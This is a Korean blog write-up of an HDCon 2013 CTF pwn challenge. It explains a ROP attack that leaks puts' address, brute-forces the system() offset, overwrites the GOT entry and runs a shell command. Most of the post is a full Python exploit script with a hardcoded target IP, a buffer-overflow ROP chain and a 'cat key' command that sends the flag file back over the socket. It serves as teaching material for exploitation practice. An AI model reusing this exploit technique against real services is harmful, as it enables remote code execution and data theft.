본문 바로가기

Computer Security/CTF

[HDCon 2013] 5번 문제 write up


luckyzzang



처음에 문제를 보자마자, 뭐이리 쉽지 했는데, 그냥 그냥 쉽지는 않았다.

버퍼를 왕창 주길래 NX가 없구나 했는데, 그건 아니었던것 같아서 바로 ROP로 전환했다.


근데 문제는, system의 주소값을 모른다는것(offset을 모르는것)과 ROP가 가능한 크기가 유동적이라는것이다.

ROP가 가능한 크기가 랜덤이기 때문에, 시스템 주소값을 맞췄더라도 결과가 안나올수도 있고,

페이로드의 크기가 커지면 커질수록, 성공률도 줄어든다.

그러므로, 페이로드를 작게 만드는게 중요했으나..... 그냥, 계속 반복해서 돌리기로 했다.


system의 주소값을 모르는건 크게 문제가 되지 않았다. 어짜피 fork로 되어있으므로, system 주소값은 변하지 않는다.

그러므로, puts라던지, recv라던지, 이미 있는 주소값을 구해오고 대략적인 offset을 측정한후, 그 주변을 브루트포싱한다.


아래의 익스플로잇에는 주석이 좀 많이 쳐져 있는데, 공격의 순서는

1. puts의 주소를 구한다.

2. 브루트포스를 한다.

3. 주소값을 구한후, 주소값을 고정한후 반복해서 커맨드 명령문을 보낸다.


from socket import * from struct import * import time   #cmd = "id>&4\x00" cmd = "cat key>&4\x00"   send_plt = pack('<I',0x8048610) recv_plt = pack('<I',0x80485f0) ppppr = pack('<I',0x80489cc) puts_plt = pack('<I',0x8048550) puts_got = pack('<I',0x804a018) bss = pack('<I',0x0804a154)   fd = pack('<I',4)   for i in range(0,0x3000,1): s = socket(AF_INET,SOCK_STREAM) s.connect(('118.107.172.214',7777))   payload = "" payload += "A"*1036 """ payload += send_plt # send address of puts payload += ppppr payload += fd payload += puts_got payload += pack('<I',4) payload += "\x00"*4 """   payload += recv_plt # overwirte puts to system address payload += ppppr payload += fd payload += puts_got payload += pack('<I',4) payload += "\x00"*4   payload += recv_plt # puts command payload += ppppr payload += fd payload += bss payload += pack('<I',len(cmd)) payload += "\x00"*4   payload += puts_plt # system call payload += "AAAA" payload += bss   #print "payload size: "+hex(len(payload)) #print s.recv(1024) #go = raw_input("go?") time.sleep(0.1) s.recv(1024) s.send(payload) time.sleep(0.1) """ get = s.recv(4)         #print get print len(get) puts_addr = unpack('<I',get)[0] print "puts address: "+hex(puts_addr) """ puts_addr = 0xb75b3740   i = 305 system_addr = hex(puts_addr + (-0x27000-i*0x10)) print "i: "+hex(i) print "system address: "+system_addr system_addr = pack('<I',puts_addr +(-0x27000-i*0x10)) s.send(system_addr) # system addr   s.send(cmd) print s.recv(1024) print s.recv(1024) """ try: s.send(cmd) get= s.recv(1024) if get.find('id') > 0: print "Find: "+str(i) print get break except: s.close() continue """ s.close() break